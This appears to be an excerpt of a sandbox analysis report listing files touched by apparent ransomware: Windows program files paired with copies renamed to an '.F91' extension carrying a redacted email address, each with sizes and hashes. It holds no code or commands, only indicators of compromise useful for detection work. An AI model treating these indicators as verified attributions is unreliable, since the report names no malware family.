a89c74ac6ecd8d5b1ae7817183de5f4fc97de2c5

SHA256
ffae0593061b09cba6344f3f9138ba3521c4e85b603ac60bcf0b3dd36185ae8a

SHA512
7b4f928b8d055e134121bc206134030d9a40f059a25577ff72485459a207a341c9846406a44bcda02d0e24dddc2be92ea7947afd2d4aa5fcc4e7b9b1db7bc131

Download Submit
C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-multiview_ja.jar_[[email protected]].F91

Filesize
3KB

MD5
641afbcf72169fe1a7f0f2738627364a

SHA1
916b51ea775a8abaece5052211d8c9a67eac2b51

SHA256
b314bd567c69f7d92820a5909dc1b6be65f7fe948570cbc5daab69d424f3f1ca

SHA512
d14385fab053e1de5f782c0ca4671bb6863070e23b9c2e244c35ee9be50ba7ee691cf96dcfc4b4a21c5dfcc5924113c2383349aa69d586426ec7d5235beade42

Download Submit
C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-multiview_zh_CN.jar

Filesize
3KB

MD5
b33a6d6f59c419140099724cdc000096

SHA1
9dd2ddfafd60bf7551fa68a88cdc952e474753c1

SHA256
a74e6453ab0228e3ba33abe6643f689f063870ec1a00a7bd176fe71f9b0ad7a7

SHA512
bb903b0c0f4ef65fbda23a30f821009573c95a8c67359d41273af52add90701ee543cf38fe6022b111a35e2b8d1ed1b59f065fd2134f543153199b2c20affbab

Download Submit
C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-multiview_zh_CN.jar_[[email protected]].F91

Filesize
3KB

MD5
78392eeda92bf18630b26d897cfaeeb8

SHA1
849ff512a849fed4f0ffbab121aaedcd6defd7a5

SHA256
16a60e95b6759bbd9b1e914355f7af3b39fe7ed735e32d0291cdd11083bf9fe9

SHA512
cda439d157b68adf8cee0172d90d4fa8e6daf9854bd00247df53831d2c9adef170c01bea7e24226d5ee0eb65d9c74ecbb4012f70b8175445e73107270847c0e2

Download Submit
C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-output2_ja.jar_[[email protected]].F91

Filesize
4KB

MD5
db9dfd867b7ac9b6f2c6fa7725faebf6

SHA1
71ea6eabc1dc2ebde4d78baa265b1804013e3e5e

SHA256
2492be83acb7cd47e714d67c1e81948edddd619f22e209722435899a4e409f26

SHA512
8c78cb898c0cf707b54c9b3345d0a1226611920ad9e7625a2853c5907e283df73cbfc6fa8fa2296c41ff0bcddefb5b5f66fa4da19d2c24f279d41b6859d58bf3

Download Submit
C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-output2_zh_CN.jar

Filesize
4KB

MD5
b31306ccbc17cf3ca4417f418ea0feda

SHA1
4797b15027230c32c8755c36619c2a3c04ffc025

SHA256
e5c9727842c8b8edb171b48bf45584c8fe63850327adb0324bd30b778e38b66f

SHA512
52aa88953a6d1eb696f7ba625720fc990b2c1d6db4bbc52a13829514724c5a8f0dccd0c9593a25770ab796cb08e5e7bb417db1061fd40ca6b92373aa9273b35f

Download Submit
C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-output2_zh_CN.jar_[[email protected]].F91

Filesize
4KB

MD5
90f815ed4614fb33eb44d12d734cc275

SHA1
285d5055cb1b584398a256abe4d1a2389b53d372

SHA256
3143f29190bc4e8bc8146b75c56a3bfd20036f300f1b1d9f93abd73dfe4de300

SHA512
1780548e73f364783981586b87aab3b0fbc4dfb918491f9feb167d6183a30dd6512b0765f7e9aa3b7059ea43727d0a9dd72330dc4fd0591d35bb302093e32983

Download Submit
C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-ui_ja.jar

Filesize
8KB

MD5
6abff6df542d87428f41cc9acf962026

SHA1
6fc88dddb2f5e785ca04db594be1684d8628665a

SHA256
69104e5801d7c6d557c417275fd2d7657ed982adfe47c1461a2cf24d8d559f54

SHA512
a8b8c7d48561f7e172dfbb1c12e04c0aac2ebf549c246eed620716aa4592519065ed5a404c6733f3707c4f0b106005c615c685aaccf764d390f221f4e9c9a823

Download Submit
C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-ui_ja.jar_[[email protected]].F91

Filesize
8KB

MD5
cce567d520c2bfd35634923da86f37e2

SHA1
514666b6448db4b8ab0e4e9c9b37145fe54e37e5

SHA256
fed33fb1edde2d0ba0f9acfde67f2ed6bd3155decf7808c7730f4592431131ba

SHA512
7e0953e4cc978056b03a4d91b96f0c9752451feae9de05dd17dda662a1b1718ebc055068bc411479a78f4f79a9bf3be2a0abdb2a6b22a58eb2bf4f8182e32364

Download Submit
C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-windows_ja.jar

Filesize
12KB

MD5
05c740f558530a85ee6e42760d7efd57

SHA1
0d9886e28b01a861b0ea83c48373198865ce3ec9

SHA256
f852957c93a92fedb1455f9c4733c07a019426e47f2c57433ecf3041a88184c6

SHA512
30be06f8001a5570bc95cca9fe66caad846e13000ea4da98ffa45ed1af3e649d566205d9e5f6306b33bed39671048d2f75f648b907087d9784741c3a5643b402

Download Submit
C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-windows_ja.jar_[[email protected]].F91

Filesize
12KB

MD5
c432c793f669a0a559aa1e68cfff56a3

SHA1
e28e3cd6758cd92137834d9b55e65a42130dab74

SHA256
753154c5c8a0fa7fbdc21d186f2583d507d2e4f4d13f8aea7f755dfd15796b84

SHA512
adee699798bd5b16c1436100441acadfce3717833a2f772a22293d307d465c4fb93c0df796afcd29755410d8b4ae2e22d47d10f06508c284833efc0fd5072614

Download Submit
C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-windows_zh_CN.jar

Filesize
11KB

MD5
9a38feae4db98b1de57d4bb7e6d0a583

SHA1
2020a56c4a5b9d14b93b32e8dc369c4d9656b40d

SHA256
8c1136b51323cbce9e202ba9191b87526cffee0e43503fde599609dde878176a

SHA512
ac2baf23274b1f275653185baf566281d9b69b588e87094bdbde643518b6162bbac6f4b9f7734090273fd5c7fbd191ca05cac55be368f93ab84196036628b8e0

Download Submit
C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-windows_zh_CN.jar_[[email protected]].F91

Filesize
11KB

MD5
fb1beea0fe74cc7dc25ae697643b2b5b

SHA1
731ebd1de3483f4b9c6e799b78b30f09c92b085a

SHA256
8a97141b114dd305f7ab0932930236559c49fccc61ddb32d5d353057f661461c

SHA512
375d6b87349183c2b63e38938b202d002250e04ba11db3702c20f09385a8983b67ef6f4183310402791be20140a15bed7ecbd77f9d639342657d5a0640426c78

Download Submit
C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-lib-uihandler_zh_CN.jar

Filesize
1KB

MD5
104209c1ad24ac9c78aedabc06d46edd

SHA1
258346b722b3ea664224eacaf7ffcad92e13286d

SHA256
f50c184f7ae3f5473dd85374c7922c0ac224d9493b0b04ad7780809d3a3a04d0

SHA512
2323f80fb6c8be5d50a3ee9da65c2668bf7b21d402096a626bb130d1fa9a1a16e351444a629d8eb26dc87d42457ae29edf8a6d14d12f078950199104a0110e9d

Download Submit
C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-lib-uihandler_zh_CN.jar_[[email protected]].F91

Filesize
1KB

MD5
2ce29f03034ff4ddf24e2cade2ad8083

SHA1
abba60e96e540c42fe065d38f89a1fec4da2a4ae

SHA256
598945debc0639b3280f66ec035157b007f6bf49b86fdf514a3ebcf01c61ce87

SHA512
892580adcc9f5703fd1f02a4e498f3def0a0a4175735b80248e655b1f80c7ca2b7b3505719748cece4f1a7d8029a6b9b534906123c3c144563bf0e8af9b60b63

Download Submit
C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-applemenu_ja.jar

Filesize
1KB

MD5
3d581b58bdd09f7e7f23df7611ac1e82

SHA1
9b81fa997134fce326c80eb83fbf743542ad2a7d

SHA256
d7ed0aecc6b35cb25269d8d5318d4d46dff4daa57ed33003a4f76c1acaf0b9d9

SHA512
87c46e6bd54e47d6fe13039858854ac9e1e4e91f5ff64190e97a3424b54b8e2a6a6a894a1872c9cf5ee072d36606ddbebc9a7d309ae497fdbdf009e3bfea4b53

Download Submit
C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-applemenu_ja.jar_[[email protected]].F91

Filesize
1KB

MD5
5fc649318aba08e1f7afa460a1b71af6

SHA1
83d10e7cd62312a4e61f365960ef1412a5de57bf

SHA256
f4a687377cde0cd914a3fcf87c53c3ffb771cd156b509edcc7b39eae1856d3d8

SHA512
503355aafe296b48f1c7a52f9dac6f200b3930d3656c7f8e43a74c3cb1e64f93a45aba24e78798256f939e2c8e02a06e802d8fb2e22ed592601821385267117b

Download Submit
C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-applemenu_zh_CN.jar

Filesize
1KB

MD5
28c678144d77334ba23f316992a2ade6

SHA1
9ade110b57f099a23f17731875ca430717ce21ae

SHA256
3980b1b8f7c1157c7aa880c35e7471be9a09096d4e06e72489f1111571c92617

SHA512
dce3353d2db8d873865f308e2f41bdec83480de785b715d8b5d9a68aa1c7b57470416a36554f89cc8f4257c7f68389ce54b4888cdb1abe2ce2b6b0638bf6dc7c

Download Submit
C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-applemenu_zh_CN.jar_[[email protected]].F91

Filesize
1KB

MD5
ccb5dd40a36250bdc655e48e4f424c7d

SHA1
3e5b1feb693a8f15da292fbfecd03b282b807128

SHA256
e499660762a103d36f3fc7786d17b7e68f8f24c168f4c4f060bdca2fefd7ca50

SHA512
6de68f3820a89bb6532fcdd2827a58cb10ed66e54e4063109d17981d59653da5ac224f913b65da870286dd64b6ca4a3c07a04f7580343790a097ae03b22de4c6

Download Submit
C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-autoupdate-cli_ja.jar

Filesize
2KB

MD5
00a2247334a8dc402cd106993eb4eab5

SHA1
35d9a4faf613bb587e062ea85f41d48b2f68dd56

SHA256
f5b139ccf6fddbd5c7a9e498dafde7f049a82c1088046b77d3927591512e8748

SHA512
eca9070ddd39611ed90a6e5486bb83fdc51f18daac097c7b233c7aa2b99ca9eece62a0971331c8c23989d432841200bb92eba323a03f7e18886c555e226b885f

Download Submit
C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-autoupdate-cli_ja.jar_[[email protected]].F91

Filesize
2KB

MD5
f9bb5f7d563fb5516297278ed7cbe6aa

SHA1
f93d3dce36220c3fa4c3adfc48c7919364eea6a6

SHA256
a8f80c35515afadbecfde88a43576f1ad8b5ebc0dde8dfa61dd155c563071e5d

SHA512
8ecc5e3ccc8f5558f13aa24cf38c2193b699e1060ed289bd8f8c7d031d49b5a73832a08a9d4fecb8024584366f9f38d0ac3146c08e647d350fd0baf642ed1c18

Download Submit
C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-autoupdate-cli_zh_CN.jar

Filesize
2KB

MD5
f7de4fc0378dacf7c65bc39fd0b9646b

SHA1
527073892168597a82568335e19cd3dc1815e0fd

SHA256
2f6eb7189c42231ce8ad467cdb8104403360b1fac3856694c0a6f0899ae33ac5

SHA512
8411eebb608394161b3946f0267c38b42749d0ef6a3e284c6f61256ff711337b1cc94b44f059225533d6b772b05f75e8951d279ff88219f5e185fb04a3cf9439

Download Submit
C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-autoupdate-cli_zh_CN.jar_[[email protected]].F91

Filesize
2KB

MD5
99bc4d2900a0860fc571598747acd57b

SHA1
ec55eed7b8b49e928dfd1b2ef7f8ccdef0b4d51b

SHA256
b3c277bd9aad997b1fa479c95cbfb106055d263d453bccfaa774f72ab07e606f

SHA512
f3f75038cc51e3293dba62af0934f85e89b04f0327efeba7bbb8b2dd387c32fd89df1dd8fbf4829b3133e51e9dde7e64bd3b39da567bb22d0fb82a49f5fc0ff0

Download Submit
C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-autoupdate-services_zh_CN.jar

Filesize
3KB

MD5
f542d3bc6ea6ef616c7ae2fe1ef2d3ac

SHA1
897ca00575987048c16c6cb216679e07aaab3199

SHA256
15dc2012ff2ca1b0dab9b6a43f515d0333c38b74b34b710bf762dc5aff23c526

SHA512
c14417a33a2922684de155916837a2096ab1811374ad0069b69810bd280889c6197d23ca4e9bb2896bc1586f5baf6c46fb1012a68794004a4ef12a99557de32d

Download Submit
C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-autoupdate-services_zh_CN.jar_[[email protected]].F91

Filesize
3KB

MD5
ee2f598f6348b674860ecd94742e2881

SHA1
b9b47eb18a3198136874f83de5637c35229dacc7

SHA256
0cff1c604f01c8662c33a80938410c325164d48ac3a58bddd73515936c80931a

SHA512
b3ef1ccbad1a77b196ef58dd6448452f0592e9d35f70a44303c531bcd99f28636f87984c00f1f83324b569d325f3dd980f2df03f253f6ed70cccf89165e204e2

Download Submit
C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-editor-mimelookup-impl_ja.jar_[[email protected]].F91

Filesize
1KB

MD5
4ecfea7cdff78f2d66f4e4e07ee2327b

SHA1
759a1b55f45c4f7e0e99ba22ae0e65403bc335fb

SHA256
cee9b81ec8fca78e8b3a07a2768386f5c54431ae6f2262f2333cce87d58476f2

SHA512
07b5f71be7d38aba750da86fbe0611991ff79a8d439f5bddca41bd33b6fc18ded2f38a723688eb697d509ccdb773537b2bb788657d72ba17a84b2c6c9d160bed

Download Submit
C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-editor-mimelookup_zh_CN.jar

Filesize
1KB

MD5
7c86229d1413cbae41d4230208a536ed

SHA1
52344abcf0d333cf444ceabfa4ca47ceea46d2cf

SHA256
7711c21ba8b7ee83681669553af34faed0a856407049068283d1a966a816ab56

SHA512
2b4e1bf82677ca14a2547a4c13789f1136aea7c6b0cc567444f9a8adff5b30829bf768362a7caf14332dfccd215e2b366e540c9ed8e44782c4ce81767e96454c

Download Submit
C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-editor-mimelookup_zh_CN.jar_[[email protected]].F91

Filesize
1KB

MD5
8d622eb5200dab06fee3eabd07878107

SHA1
a0b23f442ae3c69d9c87ee516439d265a0a3606c

SHA256
074c6d1b8148ed917dfd2676443cbc38f62513fbcfaa89818129487032965693

SHA512
d856fdc17c9ce992ba903a552e858cd57ee5627e807f185b1395a89fbfad543d45bbd70b681cd2e6ee07e876c76d6cc15b9467fe02e3555748b7570bb8e0673e

Download Submit
C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-masterfs_ja.jar

Filesize
3KB

MD5
69cf710075d0618b7ba591723332001e

SHA1
b2e762e8e75866a3d79a6a55e19d04cd0f1b23de

SHA256
1e703c59673c137cfddfc23f99b1021a64eeff1bb158635a200b6e7c34c5bf22

SHA512
63801e958dec4e5fe8bbf017dad7864c9119fc782c471f8b06b7b84be2bde1cc9e7dd65dfebec4ebb548ac8b9ebbe98d98517fa08e4d201eae7d27b96b67febe

Download Submit
C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-masterfs_ja.jar_[[email protected]].F91

Filesize
3KB

MD5
0b0841496c28b7b3a694bcc9aa8462af

SHA1
10f4207308690382ef8a5ee49f818e9653e81de4

SHA256
383058feb46aeb6a8e9cf10be1c924060b4668a7bd188ef3dd4bd29a65e4ad61

SHA512
b346bd27ef5ef6d699ee1239fe2fd3e877757fb2a78fe7989d31d7cd89346db207144faa9677a50dd2108efd19c9e743ca21cd7cf43bbf2a3e415273f5f03f38

Download Submit
C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-settings_ja.jar_[[email protected]].F91

Filesize
1KB

MD5
9ee3e884731e6617df56da01b411e11c

SHA1
05ba69a4599eb4f292572b4a422ae19d4b65dcc6

SHA256
7980b283d900d4d4fc6b592e007fdaf8277e175692184a52d8b31e98772d5855

SHA512
e0b21faedb7103f5074be3d1a1acbe5843a97e1152480c62cf29d4b4d330224e62afafe861d42ac2869cda500e37fff793073d412ad177aa1650420c54c4ba70

Download Submit
C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-windows_ja.jar_[[email protected]].F91

Filesize
1KB

MD5
07c78d80a9edcf340484a0cfe9ffe747

SHA1
4e8136b241276dff5e58ca8a94e4ccbce53d188b

SHA256
6db34217aea0e0dee42187cde7ca94aa82c8be44510d6eebe89744119d1755c1

SHA512
c27354f2c30ff643fb7016dde416dcb151d9197da71e6168316ab83195d8d77ca94fd8fe5d6950aed54048f8c1f8e19985a5146d4d7ad6131045996085561c71

Download Submit
C:\Program Files\Microsoft Office\Office14\1033\Mso Example Intl Setup File B.txt

Filesize
85B

MD5
a654ba13af13a94a508676462dc976fb

SHA1
beebb958d4f5772a25af1f156d6585ad3fc94ad5

SHA256
aa48d7109543a4f716f26e780a71d8691b8bca7ccdaaf2deec883716cb80a396

SHA512
05de607ffbc1fa492171baecbef75dd23e820d5ca0ec21abdf52a49157e0bfe52ad67fe1f41ec5b49aff9e754667986ed8d15f1d17b6708c5ddcef0d47976da6

Download Submit
C:\Program Files\Microsoft Office\Office14\1033\Mso Example Intl Setup File B.txt_[[email protected]].F91

Filesize
347B

MD5
2ebd4c9ad837bd15d5a553dd76b799f4

SHA1
9f4ade8d676ada964372e48bd13eddf7368ff74b

SHA256
0d92690343cf83a3db27a98388bffca41f92478b56d084a461b46a4581f44270

SHA512
428ed3a1f8d9a94384677fd5fcc99ce7d1124d14d78417bc334b14e6a1573dd337f8aafe1483abf930196b071d516d4bc338fffba8ad73310db1b1c6cc660a02

Download Submit
C:\Program Files\Mozilla Firefox\browser\features\[email protected]

Filesize
26KB

MD5
feacd4fdf78132e7fec466d5c79f856d

SHA1
36707dbc27c5162c9e4e69e1b2a27b596c9c6d59

SHA256
176512dca5a8d743f40da2ace4b8081b7fc062afe4514db287336883ca1ac2a7

SHA512
cac7e519f60f19e01bb2ea8228cf572d0c9d4230e966c6b8d33acd7b1d67f78541f8059969a5489c3e324110682912a31b099e65af73be56fc6210bfb9086fb7

Download Submit
C:\Program Files\Mozilla Firefox\browser\features\[email protected]_[[email protected]].F91

Filesize
26KB

MD5
dab2183329d2beb1d4057b6b99d65f78

SHA1
88b9ea1883b12ec87860e2628f1d952adec48464

SHA256
c0a0e9a9f83a5adca77762e65ec3234306b2569018e8ec284679ef9afd83e9f0

SHA512
9fa07a459dc68c13f82ba65a9fc5dae242025c1010b44de7e9c888f14977f25c2729d9ce803d3cc3ca31735b65fcfe911205259439ffc91cf8c83cb78141b9bf

Download Submit
C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.0\RedistList\FrameworkList.xml

Filesize
6KB

MD5
5a4265d7cd4d3405e201cdcb3703d22f

SHA1
329a1d018ee12f26595cfdf02c8560f73a04ca04

SHA256
857917baa421d6b3739b103d06bd77d0f04f097cff451aac5edc45293b18439d

SHA512
43ced35ec22e28a7a51709d222bb69c532a6bc5a06e6a11b8c4ccfe41bf74d804012b9ce3cbb461f9d70a24c0a984acd080692af074a0ef060d45b38013cd20e

Download Submit
C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.0\RedistList\FrameworkList.xml_[[email protected]].F91

Filesize
7KB

MD5
b09a63c1a9f9020f4492feb88e375c16

SHA1
27bacb39e53635468f434cbd75f60196fbf4eaa2

SHA256
165f1b40ccfe87fcb1e6c7bd44ff426945dcaad89aa6141958c4329919ffb32c

SHA512
3be30eb80b9990fbf0aeff7f54b9e27c27c7caf89bf1fca1bf4340d7dfc7a875094ca68929cbd9ae4f4deef9a933d97ca0f4867d9f2b737b07b0948ac91e3e4e

Download Submit
C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.0\WinFXList.xml_[[email protected]].F91

Filesize
2KB

MD5
8abc20e28c49d9a175d19f74b37c6739

SHA1
f6555ef2809bb35fd87ca6c845f861929a9273b1

SHA256
6c4c50676e4752eace437cc61680d273ca9ef93373b354dbcba17e20dc5cc477

SHA512
ba960864f98a109616a9bb196e3c025a96ad54a2d92a7a17f691108b86d91ec0b55c85ce11c89ee8fc6ab421755a70992d47861393fdafcca75a69389e015114

Download Submit
C:\Program Files\VideoLAN\VLC\THANKS.txt

Filesize
5KB

MD5
d9df572bfea4c3bb2f727ae1e6db4a30

SHA1
9cd96f2d8b42e19954b801993cb72b5ada54af3e

SHA256
ab7e3a22f485ce5b33c4348066a346610fa2029c9c19e2567bf8d109a3d0f027

SHA512
c3211830722051913d022651be9365ab3edf45f1f1f04e38878cbb7c97e3461b123cdaad4ae82668296b7ee74c340178d24cf909583746cad9aac2bcd9fd34f3

Download Submit
C:\Program Files\VideoLAN\VLC\THANKS.txt_[[email protected]].F91

Filesize
5KB

MD5
bfe9ab4bc8d4757e0f0bd3b0bf1d9b56

SHA1
15e9bc08c30f23ff8619f4ce85bedbae25ef384f

SHA256
e5afc31f7c02d39be18cb39b7507eaf99938243edadb8f7fcba7b0a7568c0b6a

SHA512
edc17fa3dc17dec2c859090e90b6b969260da82282db9e68f9cfd89585613cadbc0e582163bbc1cd57af009b0864861294399e94ad3e904570bc10157edb3618

Download Submit
C:\Program Files\VideoLAN\VLC\lua\http\dialogs\create_stream.html

Filesize
14KB

MD5
9e7f00ca153fe471bc507d693c5d31c0

SHA1
8d01653dc5f8a88c3105235a3cc9927a4c0498a2

SHA256
5b7d0b19fa352c3ec1d25ed2d60c9a9663107dddaabd28999610f38f1e854c5b

SHA512
2f95d8efa58c0b42593d18aecd3804f61711339be5629d77d344af896abaf7a94325ef8a69ac093cf8434dccb767d84da317120125aabe97230ac51caffb06fb

Download Submit
C:\Program Files\VideoLAN\VLC\lua\http\dialogs\create_stream.html_[[email protected]].F91

Filesize
14KB

MD5
aad1637322d7845e7b30eb286430b68f

SHA1
fa6663f0dc9fd2e313f24c250642bf4c6d2a7b6a

SHA256
ad4bd7f8257e6b594075c507a01f7b0bceecef0cd9f4b14626ad2289f1f4155e

SHA512
59bbe50cf302ffb78ddd7f173da3d45b8b2562b50dcfd6fad94a35b02496723d237b9748f391074d09497b871061b5b85800dcc42b075d8b2a1bae774baf92ac

Download Submit
C:\Program Files\VideoLAN\VLC\lua\http\js\common.js

Filesize
5KB

MD5
a5f9a98f2d12413961ab4911c9a73518

SHA1
c612ba7c695e2a4ebbb6b496f5568def75287e3b

SHA256
731be6cde0a4bc30f385845a8188cebf7a6daf9ba71753679bcd06c933257f2b

SHA512
291f8a937fc0457ebd51c8348cc491bfcbb3260cb63536c9322384ca7786781c2e577429529573ccb84898975a73352117f4915e0f17466b99d3744c49b05f04

Download Submit
C:\Program Files\VideoLAN\VLC\lua\http\js\common.js_[[email protected]].F91

Filesize
5KB

MD5
1a96d27f2cf7b69051e4693a03794f00

SHA1
945462d68ad9c37ebc50d3617049d9d7caca6b7f

SHA256
0ece387a6917b55477af0bf653488bf5c9da4e389d36a5e535513e7662bd35ab

SHA512
409475caa243c37962f6deb91ca789ce503fb9ad2bf0a737022965bf51fd57fc6a2562b48384f7a523f07b4522db5cef5cdac50f9a0d6fb5a63ef6932874b4eb

Download Submit
C:\Program Files\VideoLAN\VLC\lua\http\view.html

Filesize
3KB

MD5
c3c811b4bc8341eb17a6b399baf27eaa

SHA1
690854a1f7240ed9b6071acbb58bca45740aad9a

SHA256
916f3b5c6f6a10d70e22e11bc6040bf66cbab7a7cf60abe56bd5fb8bf9dc84dd

SHA512
2703c3189276914914e0bced4974ea3408f0bd798fbd9fda82d14912f2d6ab5356144f24ba8657a63db534b7bc55b43cd99088f034470841e75e14ba8cbb0613

Download Submit
C:\Program Files\VideoLAN\VLC\lua\http\vlm.html

Filesize
1KB

MD5
a3c50f16e2830ff46e147b8b6dd90a92

SHA1
f28454c6ec6280ac7b251e005777fc847fa1ffb2

SHA256
30bd367915f92f866891cb9a8822506027cce39940f349d0b2a8d58808c752b4

SHA512
69f96237e574db568172e09cd8be27177d65e3428284e6ab998305fd3b4b485fc8d81f641aa4d3b7beeaa35c31e2082e628c841a8da15957d3aab082d23220b7

Download Submit
C:\Program Files\VideoLAN\VLC\lua\http\vlm.html_[[email protected]].F91

Filesize
2KB

MD5
ba1b979d5a5e32ed9827e4d128df8a08

SHA1
d8da4002fabb60c153b1964058d5acba5b548faf

SHA256
ca9d330cdbd98ca4785fee095c7e6e18139aa4e909f908d03729e1cf05c2fc75

SHA512
bc14ac61bb452b627e07f7a01323c6ba8ae8f611c1697b0af95b840a15551cccef5c374c298469963126d4ba0e472e3b705a2c38b7cd079e8263b8186429f091

Download Submit
C:\Program Files\VideoLAN\VLC\plugins\access\libbluray-awt-j2se-1.3.2.jar

Filesize
68KB

MD5
829e431a48256498dd83795ce1a3606d

SHA1
48e31e86c6b48b60f99c0cdf06f3bf5e5efcc1ef

SHA256
54de310f1c2e8f74ba876953404e59cdc645bfec3c2a76dcd83c64ae1a4bb5f6

SHA512
a6692419e751093678bf81da1d92b7e08508697313d8148a84b8fdb5e9b82ccc3c9054126dd3ac6e0d08d4fa7b2c2b445de6603b332a3a720fa33fdc08408811

Download Submit
C:\Program Files\VideoLAN\VLC\plugins\access\libbluray-awt-j2se-1.3.2.jar_[[email protected]].F91

Filesize
68KB

MD5
086a692d93dbf4e20121a9c9bc8c78ca

SHA1
8023698ffe221b369b9cf8eed3deceaa0adb4e32

SHA256
f36bd2f856b9f711bc25d6822c59c08308bc63f7c2f75d57c06884b037c3ecaa

SHA512
13086ea430db5de14dde50fe2573b8ecd458fbfc5bd879bb29f56eb86481851661b3c7dc5f1e51364e0764090781afa67174850d844b04805aabe0cd47dd7460

Download Submit
C:\Program Files\VideoLAN\VLC\plugins\plugins.dat

Filesize
307KB

MD5
0c1d179c5be707b392222b0ed0adb0aa

SHA1
f5e662bee0d0fa78f1ccff9424f8fae3dcced7c6

SHA256
3778c8254250a5024221f4f64c2fe47196ea7d8433b9946ae769d03661f7cfd2

SHA512
27290ef70c53fe6d298325fb0c62e6be89f2baacf21c353879e60e20e9df9b7eaf585c0a0e07b9901c14232c6c00ea63b1ba66951d4bc176a472471aa482cf10

Download Submit
C:\Program Files\VideoLAN\VLC\plugins\plugins.dat_[[email protected]].F91

Filesize
308KB

MD5
beab364b8612f6d3e91c4c9f83bdac4a

SHA1
1a65fb74a391c03e838836434ca3d6c350303499

SHA256
1bd772be9bd1cb572dcea9c407d8dc04707671795128c70af1f813e1b327c195

SHA512
b63106a273edaacd0b692ba6245d70dfee89901012dd903f512745db68181f24006761776444345ec875da75b3f2bc5643633673791ef39915138f5889f78861

Download Submit
C:\Program Files\VideoLAN\VLC\skins\winamp2.xml

Filesize
31KB

MD5
c3901ccffdd2da220aee63329bbd4c82

SHA1
784a7498c6be624acf2fbeefb3291d3c9e159d12

SHA256
05568f36160abbd951c66a1d941f8e0919d45ad3fc61357b66a72715071600dc

SHA512
078a5ffc3a5b8a9b7ddb2461b9ac610e3f43096057ee19db8e50d8a64425c76a0a03ba01d6bdd2cfc6073725ea6f7f9f8009a134eaea6870cf60f15efc710a39

Download Submit
C:\Program Files\VideoLAN\VLC\skins\winamp2.xml_[[email protected]].F91

Filesize
31KB

MD5
a19d0659ff8a8af1bedf7691be3759f4

SHA1
933a23e4c7da2f099eb35ff7eb1df67e23d50ee3

SHA256
bc48a9229a58f7377b410808e729cc96986cd674d8398b17fa2cd1d594f317d6

SHA512
1a14d96214897baa1d67d810a19fe6f4a2ef8f9a2343e524331b639656bc48f9c03183bf358ad2c46343bc9d98c505db6044ac9d79445fcd7b65826f35179a61

Download Submit
C:\ProgramData\Microsoft Help\Hx_1033_MKWD_K.HxW_[[email protected]].F91

Filesize
13KB

MD5
373c7aeb2d725de9f2ab4aa56a323120

SHA1
65ac604fd17b56aec9b08ca3e849e3ce8694dbfd

SHA256
74380ba8ff075490376198a3c35a3ccecd7398441316e1b819f0085f40240050

SHA512
af082f5c7e96868bc23665d5b15aaa7e98845e754c640722427b488c398b6ebdc5c4142e01ac24a87fd94907de2fc6383a59bcd7c3d4f3994a216bbad6f11aa9

Download Submit
C:\ProgramData\Microsoft Help\Hx_1033_MKWD_NamedURL.HxW

Filesize
13KB

MD5
1737aa63dc164d59015621bf148ec14a

SHA1
30e2c8331e44275ba7a13ebb443051a1d9e76ec1

SHA256
00f3fa8bb0c27d38cf3467da147c4ded6a9098ad90076053f0c492a8a91d1c58

SHA512
39e3fec4f318017d6316a5d7fbda297d79c933cc48414e498d8af27352d6d17d7cfae18da2da10e169652dfc345f2416176f233985b6c70687247decde7edc4e

Download Submit
C:\ProgramData\Microsoft Help\Hx_1033_MKWD_NamedURL.HxW_[[email protected]].F91

Filesize
13KB

MD5
5038f7c940c99b45fad1b69aeb8f4e5e

SHA1
beb90c06342daf3c283e995a0718d8727deb6c37

SHA256
9db056393060b70ec3f09b81f5b707731b494eafb1aa6bef9af4a267540827aa

SHA512
43107b0095eedd81a8509e6b958341c3e180243a479360431a6420ad9193c2f369b5829fa69abef664658a66e8d74cef7ad582e2a2f8ba0250e600915bc7c04f

Download Submit
